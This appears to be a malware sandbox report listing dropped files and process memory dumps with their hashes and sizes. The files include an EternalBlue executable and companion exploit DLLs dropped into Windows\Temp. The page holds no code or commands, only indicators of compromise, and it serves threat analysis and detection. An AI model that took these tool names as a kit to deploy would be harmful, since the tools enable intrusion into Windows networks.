b48181628dd7b17e9221d7f8f8b8ed7d7c71be29657da13af4c8f2917b85dba7ce0756599268e32a904639ef64e7776b64ea6e3b809e4807119d2608452bc9a7

Download Submit
C:\Windows\Temp\ip.txt

Filesize
2KB

MD5
e4509fe97319f2e16a2d644b6d55ebbe

SHA1
61809a08544acfe418608078ec3234fee9085d8c

SHA256
1e9646a7cb5cc0bd64582259b123f3cb739fe8bd63cc4d2d8d562f3886d39c67

SHA512
fcdaa40512e40e8747b42666297a6e9b2949a436ace678fa7b0a108afc49926c6cb68a6b943af12a35a2631e7835bc3e00e9d7753ea4166f9dab8bdd83eebe31

Download Submit
C:\Windows\Temp\ip.txt

Filesize
16KB

MD5
a1760555c7b420d9a4161e512f41c4d0

SHA1
8c721bb150612d9132bf816121aca25cfd2057b6

SHA256
7adcee7442dc5e3ec9bf4a0a5166f19e0af901093e98aa80dd22f019babb7760

SHA512
9f0deaaf99516288323d48e8e6f18fe7bce1d71046b5552b0d11a6b2969626675961a4c62da3f80a0ebe5c6ec157c5e370690e9ab9fe605f57cdd8d85383d12b

Download Submit
\??\c:\users\admin\appdata\roaming\graphicsperfsvcs.dll

Filesize
23.7MB

MD5
effda8dc24b5465dd1424177160a5f1a

SHA1
9c3267d98ec841d4debda61d7c6aa158e6750996

SHA256
2bfbf9d0ed537106096a2dbfdb4bc1bbc1818c8d5befbad46fe872dfb2e5ee0b

SHA512
98e4155193e06baaec900d423eee3069809dbe5d26d401ce4508b79e4874b9014c3d6a8f36416074a369e17b089cd081820c01dc6cdd6743ece01e2ac182ac79

Download Submit
\Windows\Microsoft.NET\ctfmoon.exe

Filesize
1.9MB

MD5
1728aad9b45c4972b5beb438041fe2db

SHA1
29e04abf00a4655533fe88c314769f66c9c15c3f

SHA256
bd71cacb4f9a2f7215be33c8aaff98c7950792ea4d3a365fdb3ad73300a8ee19

SHA512
c57bdcdfe186f59bb6f7c74ab0251bc78a225d31affb3051a837fa5335e8e24318bd21b0e43abd7b7f9bddc2c9059a3041fa38dd8ee2d5c3a3bb07bd2709ea77

Download Submit
\Windows\Temp\Eternalblue-2.2.0.exe

Filesize
126KB

MD5
8c80dd97c37525927c1e549cb59bcbf3

SHA1
4e80fa7d98c8e87facecdef0fc7de0d957d809e1

SHA256
85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5

SHA512
50e9a3b950bbd56ff9654f9c2758721b181e7891384fb37e4836cf78422399a07e6b0bfab16350e35eb2a13c4d07b5ce8d4192fd864fb9aaa9602c7978d2d35e

Download Submit
\Windows\Temp\Hooks.exe

Filesize
11.7MB

MD5
1af2da7b95cdbbd5a18461e5d5fe910a

SHA1
8540958b02170962cb958da094e059be5ff43fb0

SHA256
1b08b6f863be2c62eb5b00457475630fddb245361f1a35e4396eada29e2da64a

SHA512
bc3ea6b76cc8079871c550af197d01c227526688881b10a5192a215d9dca8cd8401408d6a6835444cab862b20856b1ad88b1450a3f93dfa8cd2ecbdc5653459a

Download Submit
\Windows\Temp\Wmicc.exe

Filesize
1.4MB

MD5
4935b75f2a23d38527cf3821c9d9dac3

SHA1
f17aa56215ab7b90da00f048fe30d39a2d671b5d

SHA256
dd2d7b07e9091590ae60b42022956319bbbbd51b457ea214fb475ecc3e9156f8

SHA512
348e041104de20b0850b19db1ebb88ae0b65ecd1695f1ade47e099d62da9cec983a1a73e7fc657509b4fc58496784e0c1681bf46265477b75fdfab440c41acbd

Download Submit
\Windows\Temp\coli-0.dll

Filesize
15KB

MD5
3c2fe2dbdf09cfa869344fdb53307cb2

SHA1
b67a8475e6076a24066b7cb6b36d307244bb741f

SHA256
0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887

SHA512
d6b819643108446b1739cbcb8d5c87e05875d7c1989d03975575c7d808f715ddcce94480860828210970cec8b775c14ee955f99bd6e16f9a32b1d5dafd82dc8c

Download Submit
\Windows\Temp\exma-1.dll

Filesize
10KB

MD5
ba629216db6cf7c0c720054b0c9a13f3

SHA1
37bb800b2bb812d4430e2510f14b5b717099abaa

SHA256
15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9

SHA512
c4f116701798f210d347726680419fd85880a8dc12bf78075be6b655f056a17e0a940b28bbc9a5a78fac99e3bb99003240948ed878d75b848854d1f9e5768ec9

Download Submit
\Windows\Temp\libxml2.dll

Filesize
807KB

MD5
9a5cec05e9c158cbc51cdc972693363d

SHA1
ca4d1bb44c64a85871944f3913ca6ccddfa2dc04

SHA256
aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3

SHA512
8af997c3095d728fe95eeedfec23b5d4a9f2ea0a8945f8c136cda3128c17acb0a6e45345637cf1d7a5836aaa83641016c50dbb59461a5a3fb7b302c2c60dfc94

Download Submit
\Windows\Temp\posh-0.dll

Filesize
11KB

MD5
2f0a52ce4f445c6e656ecebbcaceade5

SHA1
35493e06b0b2cdab2211c0fc02286f45d5e2606d

SHA256
cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb

SHA512
88151ce5c89c96c4bb086d188f044fa2d66d64d0811e622f35dceaadfa2c7c7c084dd8afb5f774e8ad93ca2475cc3cba60ba36818b5cfb4a472fc9ceef1b9da1

Download Submit
\Windows\Temp\tibe-2.dll

Filesize
232KB

MD5
f0881d5a7f75389deba3eff3f4df09ac

SHA1
8404f2776fa8f7f8eaffb7a1859c19b0817b147a

SHA256
ca63dbb99d9da431bf23aca80dc787df67bb01104fb9358a7813ed2fce479362

SHA512
f266baecae0840c365fe537289a8bf05323d048ef3451ebffbe75129719c1856022b4bddd225b85b6661bbe4b2c7ac336aa9efdeb26a91a0be08c66a9e3fe97e

Download Submit
\Windows\Temp\trch-1.dll

Filesize
58KB

MD5
838ceb02081ac27de43da56bec20fc76

SHA1
972ab587cdb63c8263eb977f10977fd7d27ecf7b

SHA256
0259d41720f7084716a3b2bbe34ac6d3021224420f81a4e839b0b3401e5ef29f

SHA512
bcca9e1e2f84929bf513f26cc2a7dc91f066e775ef1d34b0fb00a54c8521de55ef8c81f796c7970d5237cdeab4572dedfd2b138d21183cb19d2225bdb0362a22

Download Submit
\Windows\Temp\trfo-2.dll

Filesize
29KB

MD5
3e89c56056e5525bf4d9e52b28fbbca7

SHA1
08f93ab25190a44c4e29bee5e8aacecc90dab80c

SHA256
b2a3172a1d676f00a62df376d8da805714553bb3221a8426f9823a8a5887daaa

SHA512
32487c6bca48a989d48fa7b362381fadd0209fdcc8e837f2008f16c4b52ab4830942b2e0aa1fb18dbec7fce189bb9a6d40f362a6c2b4f44649bd98557ecddbb6

Download Submit
\Windows\Temp\tucl-1.dll

Filesize
9KB

MD5
83076104ae977d850d1e015704e5730a

SHA1
776e7079734bc4817e3af0049f42524404a55310

SHA256
cf25bdc6711a72713d80a4a860df724a79042be210930dcbfc522da72b39bb12

SHA512
bd1e6c99308c128a07fbb0c05e3a09dbcf4cec91326148439210077d09992ebf25403f6656a49d79ad2151c2e61e6532108fed12727c41103df3d7a2b1ba82f8

Download Submit
\Windows\Temp\ucl.dll

Filesize
57KB

MD5
6b7276e4aa7a1e50735d2f6923b40de4

SHA1
db8603ac6cac7eb3690f67af7b8d081aa9ce3075

SHA256
f0df80978b3a563077def7ba919e2f49e5883d24176e6b3371a8eef1efe2b06a

SHA512
58e65ce3a5bcb65f056856cfda06462d3fbce4d625a76526107977fd7a44d93cfc16de5f9952b8fcff7049a7556b0d35de0aa02de736f0daeec1e41d02a20daa

Download Submit
memory/2468-13634-0x00000000032B0000-0x0000000004AA5000-memory.dmp

Filesize
24.0MB

Download
memory/2468-1-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-13771-0x00000000032B0000-0x0000000004AA5000-memory.dmp

Filesize
24.0MB

Download
memory/2468-9-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-13635-0x00000000032B0000-0x0000000004AA5000-memory.dmp

Filesize
24.0MB

Download
memory/2468-5-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-26-0x00000000032B0000-0x0000000003BD5000-memory.dmp

Filesize
9.1MB

Download
memory/2468-14-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-8-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-4-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2468-0-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-7-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-2-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-3-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2468-13632-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2652-13619-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/2652-13601-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/2652-28-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/2652-56-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/2652-57-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/2652-13557-0x0000000000400000-0x0000000000D25000-memory.dmp

Filesize
9.1MB

Download
memory/3512-13599-0x00000000000E0000-0x00000000000F1000-memory.dmp

Filesize
68KB

Download
memory/3992-13583-0x0000000000070000-0x0000000000081000-memory.dmp

Filesize
68KB

Download
memory/6760-13640-0x0000000000400000-0x0000000001BF5000-memory.dmp

Filesize
24.0MB

Download
memory/6760-13636-0x0000000000400000-0x0000000001BF5000-memory.dmp

Filesize
24.0MB

Download
memory/7332-13649-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/7332-13648-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/7332-13646-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/7332-13644-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/7332-13651-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/7332-13643-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/7332-13642-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download